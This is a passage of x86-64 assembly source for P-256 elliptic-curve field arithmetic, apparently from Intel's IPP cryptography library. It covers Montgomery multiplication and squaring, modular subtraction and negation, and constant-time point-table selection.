mov t3, a3 add t0, qword ptr Lpoly+sizeof(qword)*0 adc t1, qword ptr Lpoly+sizeof(qword)*1 adc t2, qword ptr Lpoly+sizeof(qword)*2 adc t3, qword ptr Lpoly+sizeof(qword)*3 test t4, t4 cmovnz a0, t0 cmovnz a1, t1 cmovnz a2, t2 cmovnz a3, t3 mov qword ptr[rdi+sizeof(qword)*0], a0 mov qword ptr[rdi+sizeof(qword)*1], a1 mov qword ptr[rdi+sizeof(qword)*2], a2 mov qword ptr[rdi+sizeof(qword)*3], a3 REST_XMM REST_GPR ret IPPASM p256r1_sub ENDP ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ; void p256r1_neg(uint64_t res[4], uint64_t a[4]); ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ALIGN IPP_ALIGN_FACTOR IPPASM p256r1_neg PROC PUBLIC FRAME USES_GPR rsi,rdi,r12,r13 LOCAL_FRAME = 0 USES_XMM COMP_ABI 2 a0 equ r8 a1 equ r9 a2 equ r10 a3 equ r11 t0 equ rax t1 equ rdx t2 equ rcx t3 equ r12 t4 equ r13 xor t4, t4 xor a0, a0 xor a1, a1 xor a2, a2 xor a3, a3 sub a0, qword ptr[rsi+sizeof(qword)*0] sbb a1, qword ptr[rsi+sizeof(qword)*1] sbb a2, qword ptr[rsi+sizeof(qword)*2] sbb a3, qword ptr[rsi+sizeof(qword)*3] sbb t4, 0 mov t0, a0 mov t1, a1 mov t2, a2 mov t3, a3 add t0, qword ptr Lpoly+sizeof(qword)*0 adc t1, qword ptr Lpoly+sizeof(qword)*1 adc t2, qword ptr Lpoly+sizeof(qword)*2 adc t3, qword ptr Lpoly+sizeof(qword)*3 test t4, t4 cmovnz a0, t0 cmovnz a1, t1 cmovnz a2, t2 cmovnz a3, t3 mov qword ptr[rdi+sizeof(qword)*0], a0 mov qword ptr[rdi+sizeof(qword)*1], a1 mov qword ptr[rdi+sizeof(qword)*2], a2 mov qword ptr[rdi+sizeof(qword)*3], a3 REST_XMM REST_GPR ret IPPASM p256r1_neg ENDP ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ; void p256r1_mul_montl(uint64_t res[4], uint64_t a[4], uint64_t b[4]); ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; on entry p5=0 ; on exit p0=0 ; p256r1_mul_redstep MACRO p5,p4,p3,p2,p1,p0 mov t0, p0 shl t0, 32 mov t1, p0 shr t1, 32 ;; (t1:t0) = p0*2^32 mov t2, p0 mov t3, p0 xor p0, p0 sub t2, t0 sbb t3, t1 ;; (t3:t2) = (p0*2^64+p0) - p0*2^32 add p1, t0 ;; (p2:p1) += (t1:t0) adc p2, t1 adc p3, t2 ;; (p4:p3) += (t3:t2) adc p4, t3 adc p5, 0 ;; extension = {0/1} ENDM ALIGN IPP_ALIGN_FACTOR p256r1_mmull: acc0 equ r8 acc1 equ r9 acc2 equ r10 acc3 equ r11 acc4 equ r12 acc5 equ r13 acc6 equ r14 acc7 equ r15 t0 equ rax t1 equ rdx t2 equ rcx t3 equ rbp t4 equ rbx ; rdi assumed as result aPtr equ rsi bPtr equ rbx xor acc5, acc5 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; * b[0] mov rax, qword ptr[bPtr+sizeof(qword)*0] mul qword ptr[aPtr+sizeof(qword)*0] mov acc0, rax mov acc1, rdx mov rax, qword ptr[bPtr+sizeof(qword)*0] mul qword ptr[aPtr+sizeof(qword)*1] add acc1, rax adc rdx, 0 mov acc2, rdx mov rax, qword ptr[bPtr+sizeof(qword)*0] mul qword ptr[aPtr+sizeof(qword)*2] add acc2, rax adc rdx, 0 mov acc3, rdx mov rax, qword ptr[bPtr+sizeof(qword)*0] mul qword ptr[aPtr+sizeof(qword)*3] add acc3, rax adc rdx, 0 mov acc4, rdx ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; reduction step 0 p256r1_mul_redstep acc5,acc4,acc3,acc2,acc1,acc0 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; * b[1] mov rax, qword ptr[bPtr+sizeof(qword)*1] mul qword ptr[aPtr+sizeof(qword)*0] add acc1, rax adc rdx, 0 mov rcx, rdx mov rax, qword ptr[bPtr+sizeof(qword)*1] mul qword ptr[aPtr+sizeof(qword)*1] add acc2, rcx adc rdx, 0 add acc2, rax adc rdx, 0 mov rcx, rdx mov rax, qword ptr[bPtr+sizeof(qword)*1] mul qword ptr[aPtr+sizeof(qword)*2] add acc3, rcx adc rdx, 0 add acc3, rax adc rdx, 0 mov rcx, rdx mov rax, qword ptr[bPtr+sizeof(qword)*1] mul qword ptr[aPtr+sizeof(qword)*3] add acc4, rcx adc rdx, 0 add acc4, rax adc acc5, rdx adc acc0, 0 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; reduction step 1 p256r1_mul_redstep acc0,acc5,acc4,acc3,acc2,acc1 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; * b[2] mov rax, qword ptr[bPtr+sizeof(qword)*2] mul qword ptr[aPtr+sizeof(qword)*0] add acc2, rax adc rdx, 0 mov rcx, rdx mov rax, qword ptr[bPtr+sizeof(qword)*2] mul qword ptr[aPtr+sizeof(qword)*1] add acc3, rcx adc rdx, 0 add acc3, rax adc rdx, 0 mov rcx, rdx mov rax, qword ptr[bPtr+sizeof(qword)*2] mul qword ptr[aPtr+sizeof(qword)*2] add acc4, rcx adc rdx, 0 add acc4, rax adc rdx, 0 mov rcx, rdx mov rax, qword ptr[bPtr+sizeof(qword)*2] mul qword ptr[aPtr+sizeof(qword)*3] add acc5, rcx adc rdx, 0 add acc5, rax adc acc0, rdx adc acc1, 0 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; reduction step 2 p256r1_mul_redstep acc1,acc0,acc5,acc4,acc3,acc2 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; * b[3] mov rax, qword ptr[bPtr+sizeof(qword)*3] mul qword ptr[aPtr+sizeof(qword)*0] add acc3, rax adc rdx, 0 mov rcx, rdx mov rax, qword ptr[bPtr+sizeof(qword)*3] mul qword ptr[aPtr+sizeof(qword)*1] add acc4, rcx adc rdx, 0 add acc4, rax adc rdx, 0 mov rcx, rdx mov rax, qword ptr[bPtr+sizeof(qword)*3] mul qword ptr[aPtr+sizeof(qword)*2] add acc5, rcx adc rdx, 0 add acc5, rax adc rdx, 0 mov rcx, rdx mov rax, qword ptr[bPtr+sizeof(qword)*3] mul qword ptr[aPtr+sizeof(qword)*3] add acc0, rcx adc rdx, 0 add acc0, rax adc acc1, rdx adc acc2, 0 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; reduction step 3 (final) p256r1_mul_redstep acc2,acc1,acc0,acc5,acc4,acc3 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; mov t0, qword ptr Lpoly+sizeof(qword)*0 mov t1, qword ptr Lpoly+sizeof(qword)*1 mov t2, qword ptr Lpoly+sizeof(qword)*2 mov t3, qword ptr Lpoly+sizeof(qword)*3 mov t4, acc4 ;; copy reducted result mov acc3, acc5 mov acc6, acc0 mov acc7, acc1 sub t4, t0 ;; test if it exceeds prime value sbb acc3, t1 sbb acc6, t2 sbb acc7, t3 sbb acc2, 0 cmovnc acc4, t4 cmovnc acc5, acc3 cmovnc acc0, acc6 cmovnc acc1, acc7 mov qword ptr[rdi+sizeof(qword)*0], acc4 mov qword ptr[rdi+sizeof(qword)*1], acc5 mov qword ptr[rdi+sizeof(qword)*2], acc0 mov qword ptr[rdi+sizeof(qword)*3], acc1 ret ALIGN IPP_ALIGN_FACTOR IPPASM p256r1_mul_montl PROC PUBLIC FRAME USES_GPR rbp,rbx, rsi,rdi,r12,r13,r14,r15 LOCAL_FRAME = 0 USES_XMM COMP_ABI 3 bPtr equ rbx mov bPtr, rdx call p256r1_mmull REST_XMM REST_GPR ret IPPASM p256r1_mul_montl ENDP ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ; void p256r1_to_mont(uint64_t res[4], uint64_t a[4]); ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ALIGN IPP_ALIGN_FACTOR IPPASM p256r1_to_mont PROC PUBLIC FRAME USES_GPR rbp,rbx, rsi,rdi,r12,r13,r14,r15 LOCAL_FRAME = 0 USES_XMM COMP_ABI 2 lea rbx, LRR call p256r1_mmull REST_XMM REST_GPR ret IPPASM p256r1_to_mont ENDP ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ; void p256r1_mul_montx(uint64_t res[4], uint64_t a[4], uint64_t b[4]); ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; IF _IPP32E GE _IPP32E_L9 ALIGN IPP_ALIGN_FACTOR p256r1_mmulx: acc0 equ r8 acc1 equ r9 acc2 equ r10 acc3 equ r11 acc4 equ r12 acc5 equ r13 acc6 equ r14 acc7 equ r15 t0 equ rax t1 equ rdx t2 equ rcx t3 equ rbp t4 equ rbx ; rdi assumed as result aPtr equ rsi bPtr equ rbx xor acc5, acc5 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; * b[0] xor rdx, rdx mov rdx, qword ptr[bPtr+sizeof(qword)*0] mulx acc1,acc0, qword ptr[aPtr+sizeof(qword)*0] mulx acc2,t2, qword ptr[aPtr+sizeof(qword)*1] add acc1,t2 mulx acc3,t2, qword ptr[aPtr+sizeof(qword)*2] adc acc2,t2 mulx acc4,t2, qword ptr[aPtr+sizeof(qword)*3] adc acc3,t2 adc acc4,0 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; reduction step 0 p256r1_mul_redstep acc5,acc4,acc3,acc2,acc1,acc0 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; * b[1] mov rdx, qword ptr[bPtr+sizeof(qword)*1] mulx t3, t2, qword ptr[aPtr+sizeof(qword)*0] adcx %acc1, t2 adox %acc2, t3 mulx t3, t2, qword ptr[aPtr+sizeof(qword)*1] adcx %acc2, t2 adox %acc3, t3 mulx t3, t2, qword ptr[aPtr+sizeof(qword)*2] adcx %acc3, t2 adox %acc4, t3 mulx t3, t2, qword ptr[aPtr+sizeof(qword)*3] adcx %acc4, t2 adox %acc5, t3 adcx %acc5, acc0 adox %acc0, acc0 adc acc0, 0 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; reduction step 1 p256r1_mul_redstep acc0,acc5,acc4,acc3,acc2,acc1 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; * b[2] mov rdx, qword ptr[bPtr+sizeof(qword)*2] mulx t3, t2, qword ptr[aPtr+sizeof(qword)*0] adcx %acc2, t2 adox %acc3, t3 mulx t3, t2, qword ptr[aPtr+sizeof(qword)*1] adcx %acc3, t2 adox %acc4, t3 mulx t3, t2, qword ptr[aPtr+sizeof(qword)*2] adcx %acc4, t2 adox %acc5, t3 mulx t3, t2, qword ptr[aPtr+sizeof(qword)*3] adcx %acc5, t2 adox %acc0, t3 adcx %acc0, acc1 adox %acc1, acc1 adc acc1, 0 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; reduction step 2 p256r1_mul_redstep acc1,acc0,acc5,acc4,acc3,acc2 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; * b[3] mov rdx, qword ptr[bPtr+sizeof(qword)*3] mulx t3, t2, qword ptr[aPtr+sizeof(qword)*0] adcx %acc3, t2 adox %acc4, t3 mulx t3, t2, qword ptr[aPtr+sizeof(qword)*1] adcx %acc4, t2 adox %acc5, t3 mulx t3, t2, qword ptr[aPtr+sizeof(qword)*2] adcx %acc5, t2 adox %acc0, t3 mulx t3, t2, qword ptr[aPtr+sizeof(qword)*3] adcx %acc0, t2 adox %acc1, t3 adcx %acc1, acc2 adox %acc2, acc2 adc acc2, 0 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; reduction step 3 (final) p256r1_mul_redstep acc2,acc1,acc0,acc5,acc4,acc3 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; mov t0, qword ptr Lpoly+sizeof(qword)*0 mov t1, qword ptr Lpoly+sizeof(qword)*1 mov t2, qword ptr Lpoly+sizeof(qword)*2 mov t3, qword ptr Lpoly+sizeof(qword)*3 mov t4, acc4 ;; copy reducted result mov acc3, acc5 mov acc6, acc0 mov acc7, acc1 sub t4, t0 ;; test if it exceeds prime value sbb acc3, t1 sbb acc6, t2 sbb acc7, t3 sbb acc2, 0 cmovnc acc4, t4 cmovnc acc5, acc3 cmovnc acc0, acc6 cmovnc acc1, acc7 mov qword ptr[rdi+sizeof(qword)*0], acc4 mov qword ptr[rdi+sizeof(qword)*1], acc5 mov qword ptr[rdi+sizeof(qword)*2], acc0 mov qword ptr[rdi+sizeof(qword)*3], acc1 ret ENDIF IF _IPP32E GE _IPP32E_L9 ALIGN IPP_ALIGN_FACTOR IPPASM p256r1_mul_montx PROC PUBLIC FRAME USES_GPR rbp,rbx, rsi,rdi,r12,r13,r14,r15 LOCAL_FRAME = 0 USES_XMM COMP_ABI 3 bPtr equ rbx mov bPtr, rdx call p256r1_mmulx REST_XMM REST_GPR ret IPPASM p256r1_mul_montx ENDP ENDIF ;; _IPP32E_L9 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ; void p256r1_sqr_montl(uint64_t res[4], uint64_t a[4]); ; void p256r1_sqr_montx(uint64_t res[4], uint64_t a[4]); ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; on entry e = expasion (previous step) ; on exit p0= expasion (next step) ; p256r1_prod_redstep MACRO e,p4,p3,p2,p1,p0 mov t0, p0 shl t0, 32 mov t1, p0 shr t1, 32 ;; (t1:t0) = p0*2^32 mov t2, p0 mov t3, p0 xor p0, p0 sub t2, t0 sbb t3, t1 ;; (t3:t2) = (p0*2^64+p0) - p0*2^32 add p1, t0 ;; (p2:p1) += (t1:t0) adc p2, t1 adc p3, t2 ;; (p4:p3) += (t3:t2) adc p4, t3 adc p0, 0 ;; extension = {0/1} IFNB <e> add p4, e adc p0, 0 ENDIF ENDM ALIGN IPP_ALIGN_FACTOR IPPASM p256r1_sqr_montl PROC PUBLIC FRAME USES_GPR rbp,rbx, rsi,rdi,r12,r13,r14,r15 LOCAL_FRAME = 0 USES_XMM COMP_ABI 2 acc0 equ r8 acc1 equ r9 acc2 equ r10 acc3 equ r11 acc4 equ r12 acc5 equ r13 acc6 equ r14 acc7 equ r15 t0 equ rcx t1 equ rbp t2 equ rbx t3 equ rdx t4 equ rax ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; mov t2, qword ptr[aPtr+sizeof(qword)*0] mov rax,qword ptr[aPtr+sizeof(qword)*1] mul t2 mov acc1, rax mov acc2, rdx mov rax,qword ptr[aPtr+sizeof(qword)*2] mul t2 add acc2, rax adc rdx, 0 mov acc3, rdx mov rax,qword ptr[aPtr+sizeof(qword)*3] mul t2 add acc3, rax adc rdx, 0 mov acc4, rdx ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; mov t2, qword ptr[aPtr+sizeof(qword)*1] mov rax,qword ptr[aPtr+sizeof(qword)*2] mul t2 add acc3, rax adc rdx, 0 mov t1, rdx mov rax,qword ptr[aPtr+sizeof(qword)*3] mul t2 add acc4, rax adc rdx, 0 add acc4, t1 adc rdx, 0 mov acc5, rdx ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; mov t2, qword ptr[aPtr+sizeof(qword)*2] mov rax,qword ptr[aPtr+sizeof(qword)*3] mul t2 add acc5, rax adc rdx, 0 mov acc6, rdx xor acc7, acc7 shld acc7, acc6, 1 shld acc6, acc5, 1 shld acc5, acc4, 1 shld acc4, acc3, 1 shld acc3, acc2, 1 shld acc2, acc1, 1 shl acc1, 1 mov rax,qword ptr[aPtr+sizeof(qword)*0] mul rax mov acc0, rax add acc1, rdx adc acc2, 0 mov rax,qword ptr[aPtr+sizeof(qword)*1] mul rax add acc2, rax adc acc3, rdx adc acc4, 0 mov rax,qword ptr[aPtr+sizeof(qword)*2] mul rax add acc4, rax adc acc5, rdx adc acc6, 0 mov rax,qword ptr[aPtr+sizeof(qword)*3] mul rax add acc6, rax adc acc7, rdx ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; p256r1_prod_redstep ,acc4,acc3,acc2,acc1,acc0 p256r1_prod_redstep acc0,acc5,acc4,acc3,acc2,acc1 p256r1_prod_redstep acc1,acc6,acc5,acc4,acc3,acc2 p256r1_prod_redstep acc2,acc7,acc6,acc5,acc4,acc3 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; mov t0, qword ptr Lpoly+sizeof(qword)*0 mov t1, qword ptr Lpoly+sizeof(qword)*1 mov t2, qword ptr Lpoly+sizeof(qword)*2 mov t3, qword ptr Lpoly+sizeof(qword)*3 mov t4, acc4 mov acc0, acc5 mov acc1, acc6 mov acc2, acc7 sub t4, t0 sbb acc0, t1 sbb acc1, t2 sbb acc2, t3 sbb acc3, 0 cmovnc acc4, t4 cmovnc acc5, acc0 cmovnc acc6, acc1 cmovnc acc7, acc2 mov qword ptr[rdi+sizeof(qword)*0], acc4 mov qword ptr[rdi+sizeof(qword)*1], acc5 mov qword ptr[rdi+sizeof(qword)*2], acc6 mov qword ptr[rdi+sizeof(qword)*3], acc7 REST_XMM REST_GPR ret IPPASM p256r1_sqr_montl ENDP IF _IPP32E GE _IPP32E_L9 ALIGN IPP_ALIGN_FACTOR IPPASM p256r1_sqr_montx PROC PUBLIC FRAME USES_GPR rbp,rbx, rsi,rdi,r12,r13,r14,r15 LOCAL_FRAME = 0 USES_XMM COMP_ABI 2 acc0 equ r8 acc1 equ r9 acc2 equ r10 acc3 equ r11 acc4 equ r12 acc5 equ r13 acc6 equ r14 acc7 equ r15 t0 equ rcx t1 equ rbp t2 equ rbx t3 equ rdx t4 equ rax ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; mov rdx, qword ptr[aPtr+sizeof(qword)*0] mulx acc2, acc1, qword ptr[aPtr+sizeof(qword)*1] mulx acc3, t0, qword ptr[aPtr+sizeof(qword)*2] add acc2, t0 mulx acc4, t0, qword ptr[aPtr+sizeof(qword)*3] adc acc3, t0 adc acc4, 0 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; mov rdx, qword ptr[aPtr+sizeof(qword)*1] xor acc5, acc5 mulx t1, t0, qword ptr[aPtr+sizeof(qword)*2] adcx %acc3, t0 adox %acc4, t1 mulx t1, t0, qword ptr[aPtr+sizeof(qword)*3] adcx %acc4, t0 adox %acc5, t1 adc acc5, 0 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; mov rdx, qword ptr[aPtr+sizeof(qword)*2] mulx acc6, t0, qword ptr[aPtr+sizeof(qword)*3] add acc5, t0 adc acc6, 0 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; xor acc7, acc7 shld acc7, acc6, 1 shld acc6, acc5, 1 shld acc5, acc4, 1 shld acc4, acc3, 1 shld acc3, acc2, 1 shld acc2, acc1, 1 shl acc1, 1 xor acc0, acc0 mov rdx, qword ptr[aPtr+sizeof(qword)*0] mulx t1, acc0, rdx adcx %acc1, t1 mov rdx, qword ptr[aPtr+sizeof(qword)*1] mulx t1, t0, rdx adcx %acc2, t0 adcx %acc3, t1 mov rdx, qword ptr[aPtr+sizeof(qword)*2] mulx t1, t0, rdx adcx %acc4, t0 adcx %acc5, t1 mov rdx, qword ptr[aPtr+sizeof(qword)*3] mulx t1, t0, rdx adcx %acc6, t0 adcx %acc7, t1 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; p256r1_prod_redstep ,acc4,acc3,acc2,acc1,acc0 p256r1_prod_redstep acc0,acc5,acc4,acc3,acc2,acc1 p256r1_prod_redstep acc1,acc6,acc5,acc4,acc3,acc2 p256r1_prod_redstep acc2,acc7,acc6,acc5,acc4,acc3 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; mov t0, qword ptr Lpoly+sizeof(qword)*0 mov t1, qword ptr Lpoly+sizeof(qword)*1 mov t2, qword ptr Lpoly+sizeof(qword)*2 mov t3, qword ptr Lpoly+sizeof(qword)*3 mov t4, acc4 mov acc0, acc5 mov acc1, acc6 mov acc2, acc7 sub t4, t0 sbb acc0, t1 sbb acc1, t2 sbb acc2, t3 sbb acc3, 0 cmovnc acc4, t4 cmovnc acc5, acc0 cmovnc acc6, acc1 cmovnc acc7, acc2 mov qword ptr[rdi+sizeof(qword)*0], acc4 mov qword ptr[rdi+sizeof(qword)*1], acc5 mov qword ptr[rdi+sizeof(qword)*2], acc6 mov qword ptr[rdi+sizeof(qword)*3], acc7 REST_XMM REST_GPR ret IPPASM p256r1_sqr_montx ENDP ENDIF ;; _IPP32E_L9 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ; void p256r1_mont_back(uint64_t res[4], uint64_t a[4]); ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ALIGN IPP_ALIGN_FACTOR IPPASM p256r1_mont_back PROC PUBLIC FRAME USES_GPR rsi,rdi,r12,r13 LOCAL_FRAME = 0 USES_XMM COMP_ABI 2 acc0 equ r8 acc1 equ r9 acc2 equ r10 acc3 equ r11 acc4 equ r12 acc5 equ r13 t0 equ rax t1 equ rdx t2 equ rcx t3 equ rsi mov acc2, qword ptr[rsi+sizeof(qword)*0] mov acc3, qword ptr[rsi+sizeof(qword)*1] mov acc4, qword ptr[rsi+sizeof(qword)*2] mov acc5, qword ptr[rsi+sizeof(qword)*3] xor acc0, acc0 xor acc1, acc1 p256r1_mul_redstep acc1,acc0,acc5,acc4,acc3,acc2 p256r1_mul_redstep acc2,acc1,acc0,acc5,acc4,acc3 p256r1_mul_redstep acc3,acc2,acc1,acc0,acc5,acc4 p256r1_mul_redstep acc4,acc3,acc2,acc1,acc0,acc5 mov t0, acc0 mov t1, acc1 mov t2, acc2 mov t3, acc3 sub t0, qword ptr Lpoly+sizeof(qword)*0 sbb t1, qword ptr Lpoly+sizeof(qword)*1 sbb t2, qword ptr Lpoly+sizeof(qword)*2 sbb t3, qword ptr Lpoly+sizeof(qword)*3 sbb acc4, 0 cmovnc acc0, t0 cmovnc acc1, t1 cmovnc acc2, t2 cmovnc acc3, t3 mov qword ptr[rdi+sizeof(qword)*0], acc0 mov qword ptr[rdi+sizeof(qword)*1], acc1 mov qword ptr[rdi+sizeof(qword)*2], acc2 mov qword ptr[rdi+sizeof(qword)*3], acc3 REST_XMM REST_GPR ret IPPASM p256r1_mont_back ENDP ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ; void p256r1_select_pp_w5(POINT *val, const POINT *in_t, int index); ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ALIGN IPP_ALIGN_FACTOR IPPASM p256r1_select_pp_w5 PROC PUBLIC FRAME USES_GPR rsi,rdi,r12,r13 LOCAL_FRAME = 0 USES_XMM xmm6,xmm7,xmm8,xmm9,xmm10,xmm11,xmm12,xmm13,xmm14,xmm15 COMP_ABI 3 val equ rdi in_t equ rsi idx equ edx ONE equ xmm0 INDEX equ xmm1 Ra equ xmm2 Rb equ xmm3 Rc equ xmm4 Rd equ xmm5 Re equ xmm6 Rf equ xmm7 M0 equ xmm8 T0a equ xmm9 T0b equ xmm10 T0c equ xmm11 T0d equ xmm12 T0e equ xmm13 T0f equ xmm14 TMP0 equ xmm15 movdqa ONE, oword ptr LOne movdqa M0, ONE movd INDEX, idx pshufd INDEX, INDEX, 0 pxor Ra, Ra pxor Rb, Rb pxor Rc, Rc pxor Rd, Rd pxor Re, Re pxor Rf, Rf ; Skip index = 0, is implicictly infty -> load with offset -1 mov rcx, 16 select_loop_sse_w5: movdqa TMP0, M0 pcmpeqd TMP0, INDEX paddd M0, ONE movdqa T0a, oword ptr[in_t+sizeof(oword)*0] movdqa T0b, oword ptr[in_t+sizeof(oword)*1] movdqa T0c, oword ptr[in_t+sizeof(oword)*2] movdqa T0d, oword ptr[in_t+sizeof(oword)*3] movdqa T0e, oword ptr[in_t+sizeof(oword)*4] movdqa T0f, oword ptr[in_t+sizeof(oword)*5] add in_t, sizeof(oword)*6 pand T0a, TMP0 pand T0b, TMP0 pand T0c, TMP0 pand T0d, TMP0 pand T0e, TMP0 pand T0f, TMP0 por Ra, T0a por Rb, T0b por Rc, T0c por Rd, T0d por Re, T0e por Rf, T0f dec rcx jnz select_loop_sse_w5 movdqu oword ptr[val+sizeof(oword)*0], Ra movdqu oword ptr[val+sizeof(oword)*1], Rb movdqu oword ptr[val+sizeof(oword)*2], Rc movdqu oword ptr[val+sizeof(oword)*3], Rd movdqu oword ptr[val+sizeof(oword)*4], Re movdqu oword ptr[val+sizeof(oword)*5], Rf REST_XMM REST_GPR ret IPPASM p256r1_select_pp_w5 ENDP ;;IF _IPP32E LT _IPP32E_L9 IFNDEF _DISABLE_ECP_256R1_HARDCODED_BP_TBL_ ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ; void p256r1_select_ap_w7(AF_POINT *val, const AF_POINT *in_t, int index); ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ALIGN IPP_ALIGN_FACTOR IPPASM p256r1_select_ap_w7 PROC PUBLIC FRAME USES_GPR rsi,rdi,r12,r13 LOCAL_FRAME = 0 USES_XMM xmm6,xmm7,xmm8,xmm9,xmm10,xmm11,xmm12,xmm13,xmm14,xmm15 COMP_ABI 3 val equ rdi in_t equ rsi idx equ edx ONE equ xmm0 INDEX equ xmm1 Ra equ xmm2 Rb equ xmm3 Rc equ xmm4 Rd equ xmm5 M0 equ xmm8 T0a equ xmm9 T0b equ xmm10 T0c equ xmm11 T0d equ xmm12 TMP0 equ xmm15 movdqa ONE, oword ptr LOne pxor Ra, Ra pxor Rb, Rb pxor Rc, Rc pxor Rd, Rd movdqa M0, ONE movd INDEX, idx pshufd INDEX, INDEX, 0 ; Skip index = 0, is implicictly infty -> load with offset -1 mov rcx, 64 select_loop_sse_w7: movdqa TMP0, M0 pcmpeqd TMP0, INDEX paddd M0, ONE movdqa T0a, oword ptr[in_t+sizeof(oword)*0] movdqa T0b, oword ptr[in_t+sizeof(oword)*1] movdqa T0c, oword ptr[in_t+sizeof(oword)*2] movdqa T0d, oword ptr[in_t+sizeof(oword)*3] add in_t, sizeof(oword)*4 pand T0a, TMP0 pand T0b, TMP0 pand T0c, TMP0 pand T0d, TMP0 por Ra, T0a por Rb, T0b por Rc, T0c por Rd, T0d dec rcx jnz select_loop_sse_w7 movdqu oword ptr[val+sizeof(oword)*0], Ra movdqu oword ptr[val+sizeof(oword)*1], Rb movdqu oword ptr[val+sizeof(oword)*2], Rc movdqu oword ptr[val+sizeof(oword)*3], Rd REST_XMM REST_GPR ret IPPASM p256r1_select_ap_w7 ENDP ENDIF ;;ENDIF ;; _IPP32E LT _IPP32E_L9 ENDIF ;; _IPP32E_M7 END
